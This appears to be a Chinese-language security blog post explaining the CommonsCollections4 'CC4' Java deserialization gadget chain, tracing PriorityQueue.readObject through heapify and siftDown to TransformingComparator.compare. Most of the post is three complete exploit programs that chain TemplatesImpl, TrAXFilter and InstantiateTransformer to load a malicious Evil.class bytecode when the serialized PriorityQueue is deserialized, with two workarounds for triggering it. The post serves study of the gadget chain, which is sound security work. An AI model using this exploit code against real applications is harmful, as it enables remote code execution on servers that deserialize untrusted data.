Java反序列化CommonsCollections篇CC4

新增依赖

<dependency>  
<groupId>org.apache.commons</groupId>  
<artifactId>commons-collections4</artifactId>  
<version>4.0</version>  
</dependency>

原理

后半段和CC3一样,利用transformer代码执行。我们需要找到新的调用transform函数的方法。

Question

但为什么只能在commons-collections4中执行成功,在3中不行?等下就明白了

寻找过程

CC4链主要利用的是TransformingComparator类里的compare方法

public int compare(final I obj1, final I obj2) {  
    final O value1 = this.transformer.transform(obj1);  
    final O value2 = this.transformer.transform(obj2);  
    return this.decorated.compare(value1, value2);  
}

继续找谁的readObject中调用了compare,或者readObject中调用了函数a,函数a又调用了compare...

这里链子的发现者找到了PriorityQueue的readObject

private void readObject(java.io.ObjectInputStream s)  
    throws java.io.IOException, ClassNotFoundException {  
    // Read in size, and any hidden stuff  
    s.defaultReadObject();  
  
    // Read in (and discard) array length  
    s.readInt();  
  
    queue = new Object[size];  
  
    // Read in all elements.  
    for (int i = 0; i < size; i++)  
        queue[i] = s.readObject();  
  
    // Elements are guaranteed to be in "proper order", but the  
    // spec has never explained what that might be.    
    heapify();  
}

其中调用了heapify,跟进

private void heapify() {  
    for (int i = (size >>> 1) - 1; i >= 0; i--)  
        siftDown(i, (E) queue[i]);  
}

调用了siftDown,继续跟进

private void siftDown(int k, E x) {  
    if (comparator != null)  
        siftDownUsingComparator(k, x);  
    else  
        siftDownComparable(k, x);  
}

看到了comparator,感觉有戏

private void siftDownUsingComparator(int k, E x) {  
    int half = size >>> 1;  
    while (k < half) {  
        int child = (k << 1) + 1;  
        Object c = queue[child];  
        int right = child + 1;  
        if (right < size &&  
            comparator.compare((E) c, (E) queue[right]) > 0)  
            c = queue[child = right];  
        if (comparator.compare(x, (E) c) <= 0)  
            break;  
        queue[k] = c;  
        k = child;  
    }  
    queue[k] = x;  
}

终于在siftDownUsingComparator中调用了compare,到此链子就找到了,如下图

Answer

这里来解答前面的疑问,为什么这条链在CC3中不能用?
来看下TransformingComparator类在commons-collections3中对应的源码,路径如下图

public class TransformingComparator implements Comparator {

由于TransformingComparator类在commons-collections3没有实现序列化接口,而commons-collections4实现了,所以才有CC4链的存在。

构造

package com.LE0;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import javafx.scene.layout.Priority;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
import org.apache.commons.collections4.map.LazyMap;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
  
import javax.xml.transform.Templates;  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
  
public class CC4 {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = new TemplatesImpl();  
  
        Class tc = templates.getClass();  
        Field name = tc.getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templates,"LE0");  
        Field bytecodes = tc.getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
  
        byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));  
        byte[][] codes= {code};  
        bytecodes.set(templates,codes);  
  
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(TrAXFilter.class),  
                instantiateTransformer  
        };  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);  
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);  
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); 
          
        serialize(priorityQueue);  
        deserialize("ser.bin");  
    }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  
        oos.writeObject(obj);  
    }  
  
    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));  
        return ois.readObject();  
    }  
}

但是没有触发,进入调试

发现这里的size为0,没进入循环

这里有两个方法:

方法一

反射修改size,让size等于2。

package com.LE0;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import javafx.scene.layout.Priority;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
import org.apache.commons.collections4.map.LazyMap;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
  
import javax.xml.transform.Templates;  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
  
public class CC4 {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = new TemplatesImpl();  
  
        Class tc = templates.getClass();  
        Field name = tc.getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templates,"LE0");  
        Field bytecodes = tc.getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
  
        byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));  
        byte[][] codes= {code};  
        bytecodes.set(templates,codes);  
  
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(TrAXFilter.class),  
                instantiateTransformer  
        };  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);  
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);  
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
  
        Class p = PriorityQueue.class;  
        Field size = p.getDeclaredField("size");  
        size.setAccessible(true);  
        size.set(priorityQueue,2);  
  
        serialize(priorityQueue);  
        deserialize("ser.bin");  
    }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  
        oos.writeObject(obj);  
    }  
  
    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));  
        return ois.readObject();  
    }  
}

方法二

我们也可以通过该类自带的add方法给size传值

public boolean add(E e) {  
	return offer(e);  
}

跟进offer

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;      //给size传值
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);       //siftUP方法
    return true;
}

跟进siftup

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

这里跟URLDNS链差不多,如果我们直接调用add方法,这里就会走完整条链子,但是并不会反序列化,所以我们需要先在前面把比如给TransformingComparator赋值一个没用的,然后add完了之后再改回chainedTransformer。

package com.LE0;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import javafx.scene.layout.Priority;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
import org.apache.commons.collections4.map.LazyMap;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
  
import javax.xml.transform.Templates;  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
  
public class CC4 {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = new TemplatesImpl();  
  
        Class tc = templates.getClass();  
        Field name = tc.getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templates,"LE0");  
        Field bytecodes = tc.getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
  
        byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));  
        byte[][] codes= {code};  
        bytecodes.set(templates,codes);  
  
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(TrAXFilter.class),  
                instantiateTransformer  
        };  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);  
//        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);  
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));  
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
  
//           Class p = PriorityQueue.class;  
//        Field size = p.getDeclaredField("size");  
//        size.setAccessible(true);  
//        size.set(priorityQueue,2);  
  
  
        priorityQueue.add(1);  
        priorityQueue.add(2);  
  
        Class t = transformingComparator.getClass();  
        Field transformerField = t.getDeclaredField("transformer");  
        transformerField.setAccessible(true);  
        transformerField.set(transformingComparator,chainedTransformer);  
  
        serialize(priorityQueue);  
        deserialize("ser.bin");  
    }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  
        oos.writeObject(obj);  
    }  
  
    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));  
        return ois.readObject();  
    }  
}
posted @ 2026-02-13 12:08  leee0  阅读(3)  评论(0)    收藏  举报